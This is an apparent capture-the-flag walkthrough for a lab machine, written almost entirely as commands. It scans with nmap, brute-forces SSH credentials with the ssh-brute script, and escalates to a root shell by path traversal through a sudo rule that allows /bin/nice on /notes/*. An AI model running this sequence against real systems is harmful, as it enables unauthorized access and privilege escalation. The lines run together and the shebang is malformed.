Find Target: netdiscover -r <Kali IP>
nmap -A -p0-65535 <IP>nmap -vv -script=ssh-brute.nse -p 22 <IP> * -vv: Increased verbosity| Found Credentials - username: webadmin | password: dragon |
ssh webadmin@<target ip> -p 22 β> password: dragonNext use ls to reveal users.txt: ls -halt
sudo -l to see what permissions the user has.Discover that the webadmin can use ==> /bin/nice & /notes/*
/bin/nice can be used to execute, then files in the /notes/* can be executed
root.sh, that will deploy a bash shell:
#/bin/bash
bash -e
sudo /bin/nice /notes/../home/webadmin/root.sh (you may need to chmod +x root.sh beforehand.cat /root/root.txt